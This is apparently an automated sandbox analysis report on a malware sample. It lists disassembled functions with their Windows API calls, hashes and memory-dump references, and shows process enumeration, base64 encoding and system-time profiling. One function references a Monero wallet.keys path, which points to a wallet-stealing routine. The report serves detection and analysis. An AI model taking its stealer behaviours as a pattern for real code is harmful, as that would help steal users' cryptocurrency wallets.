API String ID: 2609814428-0
Opcode ID: 60ca03eb4728d864d7c5f140a560fab3a55ad206554a900b17c5001551236a41
Instruction ID: a0f14374a0a4ed0602348e83a3ca322f6cd93249f4f57fa4afbeb20d22f0c997
Opcode Fuzzy Hash: 60ca03eb4728d864d7c5f140a560fab3a55ad206554a900b17c5001551236a41
Instruction Fuzzy Hash: 9B0152B5A40208BBDB10DFD4CD46F9E7778EB44700F104054FB09AB2C0D6B0AA409B66

Function 00D49600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D4961E
Process32First.KERNEL32(00D50ACA,00000128), ref: 00D49632
Process32Next.KERNEL32(00D50ACA,00000128), ref: 00D49647
StrCmpCA.SHLWAPI(?,00000000), ref: 00D4965C
CloseHandle.KERNEL32(00D50ACA), ref: 00D4967A

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 626d855e5582ba2ab2215a5cc3b3dae0534022bdd73c80f4c8029e4d98054f31
Instruction ID: 4ee5a42057771e3a31d93aa1a58a769cf60671df3c376c2c6afd4742fdf733d6
Opcode Fuzzy Hash: 626d855e5582ba2ab2215a5cc3b3dae0534022bdd73c80f4c8029e4d98054f31
Instruction Fuzzy Hash: 48011E75A00208EBCF14DFA5CD58BEEB7F8EB48301F114188A90997280D7349B80DF62

Function 010FD9EE Relevance: 6.5, Strings: 4, Instructions: 1529COMMON

Download Yara Rule

Strings

;Pq, xrefs: 010FE68E
4<8>, xrefs: 010FE4DF
2n{, xrefs: 010FE338
XS5, xrefs: 010FE067

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2n{$4<8>$;Pq$XS5
API String ID: 0-991479744
Opcode ID: c05a4dfa8bea9f1424cea984d7a8e6b61c0d4ae53a32c3cb0f349e05f6e8435a
Instruction ID: 8f6e40abe24babcc3125abf3f3286eb24905076c369d01eccd9c0b4b52633691
Opcode Fuzzy Hash: c05a4dfa8bea9f1424cea984d7a8e6b61c0d4ae53a32c3cb0f349e05f6e8435a
Instruction Fuzzy Hash: B4A2D4F360C204AFE715AE19DC8567ABBE9EF94720F16493DEAC4C3740EA3558108797

Function 00D48680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00D505B7), ref: 00D486CA
Process32First.KERNEL32(?,00000128), ref: 00D486DE
Process32Next.KERNEL32(?,00000128), ref: 00D486F3

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

CloseHandle.KERNEL32(?), ref: 00D48761

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 3aae8c1ff3ea28ac74c2c85773fdc52f4e3cc7c4031706ba3c82fdfcd63614ce
Instruction ID: c6aaabc0814f4796f5c9e8047aec75910ba3f5f0d96f2c58fa041177af550b93
Opcode Fuzzy Hash: 3aae8c1ff3ea28ac74c2c85773fdc52f4e3cc7c4031706ba3c82fdfcd63614ce
Instruction Fuzzy Hash: 20312B71941218ABDB24DF54DC55FEEB778EF45700F104199E50AA61A0DB306A89CFB2

Function 00D48EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00D35184,40000001,00000000,00000000,?,00D35184), ref: 00D48EC0

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 10d526b4fbf9630c705398c801ab458f032dac51d314a13cfeb82f7e6d7a5d0a
Instruction ID: eaccbf661ddf919203f35a69ca8b57278e3e6f11e164508d3a122650a359e6e8
Opcode Fuzzy Hash: 10d526b4fbf9630c705398c801ab458f032dac51d314a13cfeb82f7e6d7a5d0a
Instruction Fuzzy Hash: 71111874200208BFDB00CF64D884FAF73A9AF89740F149458F9198B250DB76EC85EB71

Function 00D39AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34EEE,00000000,00000000), ref: 00D39AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00D34EEE,00000000,?), ref: 00D39B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34EEE,00000000,00000000), ref: 00D39B2A
LocalFree.KERNEL32(?,?,?,?,00D34EEE,00000000,?), ref: 00D39B3F

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: bcb87221899f459d76dfd2557d74281706ea4331deb705a2a54c7853f479e7a6
Instruction ID: 120917ecae51940dcfa74374313fee2550dec3dd8a6d98ea7fa7dbfa19d65597
Opcode Fuzzy Hash: bcb87221899f459d76dfd2557d74281706ea4331deb705a2a54c7853f479e7a6
Instruction Fuzzy Hash: BE11A4B4240208EFEB10CF64DC95FAAB7B5FB89700F248058F9199B390C7B5A941DB51

Function 00D47980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D50E00,00000000,?), ref: 00D479B0
RtlAllocateHeap.NTDLL(00000000), ref: 00D479B7
GetLocalTime.KERNEL32(?,?,?,?,?,00D50E00,00000000,?), ref: 00D479C4
wsprintfA.USER32 ref: 00D479F3

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 66a5d8fb8d53fe71b617546a71303e85bf09cb84340d5b788f33c7ea459f5b5c
Instruction ID: f565ec22e9d29f49563de3da586704529f090fc0957c512406adbf83a15e022e
Opcode Fuzzy Hash: 66a5d8fb8d53fe71b617546a71303e85bf09cb84340d5b788f33c7ea459f5b5c
Instruction Fuzzy Hash: 7A112AB2904118ABCB14DFD9DD45BBEB7F8FB4CB11F14425AF605A2280D3395940D7B2

Function 00D47A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,008DDC68,00000000,?,00D50E10,00000000,?,00000000,00000000), ref: 00D47A63
RtlAllocateHeap.NTDLL(00000000), ref: 00D47A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,008DDC68,00000000,?,00D50E10,00000000,?,00000000,00000000,?), ref: 00D47A7D
wsprintfA.USER32 ref: 00D47AB7

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 7d39e3c1fe907fa0dd21e3c401c0a957b37854939702bb2b8ff2b492361e71f6
Instruction ID: 54fec19354fc21b6df7f204724a13aa98b7b6bb6f2c826e59681ef597476c72b
Opcode Fuzzy Hash: 7d39e3c1fe907fa0dd21e3c401c0a957b37854939702bb2b8ff2b492361e71f6
Instruction Fuzzy Hash: 6F1182B1945218DFDB208B54DC49F59B778F744711F104395E90A932C0C7745A44CF62

Function 010FFB89 Relevance: 6.0, Strings: 4, Instructions: 966COMMON

Download Yara Rule

Strings

fw{~, xrefs: 010FFE25
Jk/8, xrefs: 010FFBBD
b?, xrefs: 01100236
F=|b, xrefs: 010FFF62

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F=|b$Jk/8$fw{~$b?
API String ID: 0-647256904
Opcode ID: 41bd60c0b9f4492807fc93697e46d02debf474d8285db95e5d02a40865a744ad
Instruction ID: d2275d617216f832968ed6612947b13a1bd2f08e9ca81038407f2a6767725a94
Opcode Fuzzy Hash: 41bd60c0b9f4492807fc93697e46d02debf474d8285db95e5d02a40865a744ad
Instruction Fuzzy Hash: 00524CF3A086006FE704AE2DEC8177AB7D5EBD4360F1A463DE6C5C3744E97598018696

Function 010F4156 Relevance: 5.7, Strings: 4, Instructions: 749COMMON

Download Yara Rule

Strings

I;, xrefs: 010F4202
`k;, xrefs: 010F48B0
~N+, xrefs: 010F4804
V7[, xrefs: 010F44FA

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I;$`k;$~N+$V7[
API String ID: 0-2527083691
Opcode ID: 644147d9961457421d9a8a08048ee3f381c6a210bcd7b31020c43a1380aaad8b
Instruction ID: 25d7af1305f616f7d1d78888fcb0f4e4d983f713c904215c3b910fab205d8d1e
Opcode Fuzzy Hash: 644147d9961457421d9a8a08048ee3f381c6a210bcd7b31020c43a1380aaad8b
Instruction Fuzzy Hash: 8C32D2F350C200AFE315AE29EC8577ABBE5EF94720F1A892DE6C4C7744E63598408797

Function 0110916B Relevance: 5.4, Strings: 3, Instructions: 1645COMMON

Download Yara Rule

Strings

D}}, xrefs: 01109E73
"{/, xrefs: 01109189
ot, xrefs: 01109915

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "{/$D}}$ot
API String ID: 0-378467387
Opcode ID: 64c290e8ebfd969acf0ace3a9ee1abb3e0e2d8e1fc8ab28df4dd9e0eeae713ba
Instruction ID: 75c85bd24acb5eb0a862cdac1ea0052d09f289b6b3435d0c0e0c32dd413651a9
Opcode Fuzzy Hash: 64c290e8ebfd969acf0ace3a9ee1abb3e0e2d8e1fc8ab28df4dd9e0eeae713ba
Instruction Fuzzy Hash: 9BA24DF3608204AFE3046E2DEC8567BBBD9EFD4720F1A863DEAC4D3744E93558058696

Function 01102841 Relevance: 5.3, Strings: 3, Instructions: 1593COMMON

Download Yara Rule

Strings

@<{h, xrefs: 011028FF
im7, xrefs: 0110341C
T;Y5, xrefs: 01103059

Memory Dump Source

Source File: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @<{h$T;Y5$im7
API String ID: 0-4077018143
Opcode ID: 4706343f72d17441be2008658873c9ef571c35158150485dec8adfb4ee91baec
Instruction ID: 520be446ebf35862908e062f7a1fc56e8f29840be91baee7894b7aa82c67b05b
Opcode Fuzzy Hash: 4706343f72d17441be2008658873c9ef571c35158150485dec8adfb4ee91baec
Instruction Fuzzy Hash: 77B2F8F3A0C2049FE304AE2DEC8567ABBE9EF94720F16453DEAC4C7744EA3558058697

Function 00D43720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00D4E118,00000000,00000001,00D4E108,00000000), ref: 00D43758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00D437B0

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
